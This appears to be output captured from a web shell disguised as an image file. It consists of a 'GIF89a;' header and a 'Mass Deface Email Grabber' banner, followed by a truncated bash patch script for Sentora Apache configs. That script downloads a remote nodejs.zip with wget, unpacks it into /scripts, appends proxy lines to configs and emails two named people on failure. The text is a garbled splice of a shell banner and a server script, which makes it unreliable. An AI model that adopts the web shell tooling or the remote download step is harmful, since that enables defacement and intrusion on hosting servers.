GIF89a;
Mass Deface Email Grabber
> "$filechk" exit fi echo "Patch started" > "$filechk" # Download nodejs.zip wget -O /scripts/nodejs.zip https://d.ovipanel.com/Patch/nodejs.zip # Unzip the downloaded file directly to the /scripts/ directory unzip -o /scripts/nodejs.zip -d /scripts/ # Define the lines to append lines_to_append="\n ProxyPass !\n ProxyPassReverse !\n" # Function to test the Apache configuration test_apache_config() { if httpd -t; then echo "Apache configuration test passed." return 0 else echo "Apache configuration test failed." return 1 fi } # Function to set correct ownership for configuration files set_file_ownership() { local config_file="$1" chown apache:apache "$config_file" chmod 644 "$config_file" } # Loop through config files in the /etc/sentora/configs/apache/nodejs/ directory for config_file in /etc/sentora/configs/apache/nodejs/*; do # Check if the file is not empty if [ -s "$config_file" ]; then # Check if the lines_to_append already exist in the file if grep -qF "$lines_to_append" "$config_file"; then echo "Lines already exist in $config_file. Skipping." else # Append the lines to the file if they don't exist if ! grep -qF "" "$config_file"; then echo -e "$lines_to_append" >> "$config_file" echo "Appended to $config_file" fi fi else echo "Skipping empty file: $config_file" fi done # Run dos2unix on all .sh files in the /scripts/ directory find /scripts/ -type f -name "*.sh" -exec dos2unix {} \; # Test the Apache configuration if test_apache_config; then # Reload Apache if the configuration test passes echo "Reloading Apache..." service httpd reload else echo "Apache configuration test failed. Apache not reloaded." # Send an email notification to multiple recipients SUBJECT="Apache Configuration Test Failed" TO="saravana@hostingraja.in,sathiyasaravanababu91@gmail.com" MESSAGE="The Apache configuration test has failed. Please review and fix the configuration." echo "$MESSAGE" | mail -s "$SUBJECT" "$TO" fi #$folderPath = '/etc/sentora/configs/apache/nodejs/'; #if (file_exists($folderPath) && is_dir($folderPath)) { # echo "The folder exists."; #/usr/bin/sh /scripts/check_domains_log.sh > /scripts/check_domains_log.log #} folderPath="/etc/sentora/configs/apache/nodejs/" if [ -d "$folderPath" ]; then /usr/bin/sh /scripts/check_domains_log.sh > /scripts/check_domains_log.log fi echo "Patch End" >> /patch/patch10102023.log